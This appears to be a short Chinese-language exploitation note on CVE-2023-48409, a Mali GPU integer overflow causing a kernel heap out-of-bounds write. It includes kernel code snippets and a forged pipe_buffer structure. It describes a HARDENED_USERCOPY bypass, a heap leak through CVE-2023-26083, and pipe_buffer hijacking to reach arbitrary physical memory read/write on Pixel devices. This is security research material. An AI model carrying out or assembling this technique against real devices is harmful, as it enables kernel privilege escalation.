CVE-2023-48409 Mali GPU 整数溢出导致堆越界写
CVE-2023-48409 Mali GPU 整数溢出导致堆越界写
漏洞原语:假设分配的大小为 0x3004
, 会执行 copy_from_user(ptr-0x4000, from, 0x7004),导致越界写
由于 CONFIG_HARDENED_USERCOPY 如果 to 是 slab 中的地址,copy_from_user 会确保拷贝时不会跨越 slab 中的对象
static inline __must_check unsigned long
_copy_from_user(void *to, const void __user *from, unsigned long n)
{
unsigned long res = n;
might_fault();
if (!should_fail_usercopy() && likely(access_ok(from, n))) {
instrument_copy_from_user(to, from, n);
res = raw_copy_from_user(to, from, n);
}
if (unlikely(res))
memset(to + (n - res), 0, res);
return res;
}
利用思路:分配大内存让 kmalloc 从 页分配器中申请内存,绕过 CONFIG_HARDENED_USERCOPY
漏洞对象:pipe_buffer
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
控制 page 指针做任意物理内存读写,而且 pixel 上 virt2page 直接可以写死,不像 x86 vmemap_base 是随机的(可能和物理地址随机化有关)
__u64 __virt_to_page(__u64 addr)
{
return ((((__u64)(((signed long long)((__u64)(addr) << 8) >> 8) + \
0x8000000000LL) >> 6) & 0x3FFFFFFFFFFFFC0LL) + \
0xFFFFFFFEFFE00000);
}
伪造思路:使用 CVE-2023-26083 泄露堆地址 kbase_kcpu_command_queue
,然后伪造结构体
struct pipe_buffer {
.page = virt_to_page(addr),
.offset = 0,
.len = 0x40,
.ops = kcpu_addr + 0x50, // 伪造空的 ops
.flags = PIPE_BUF_FLAG_CAN_MERGE,
unsigned long private = 0
};
然后释放 kbase_kcpu_command_queue
用 pipe_buffer 占位,就能够用 pipe_buffer 修改另一个 pipe_buffer.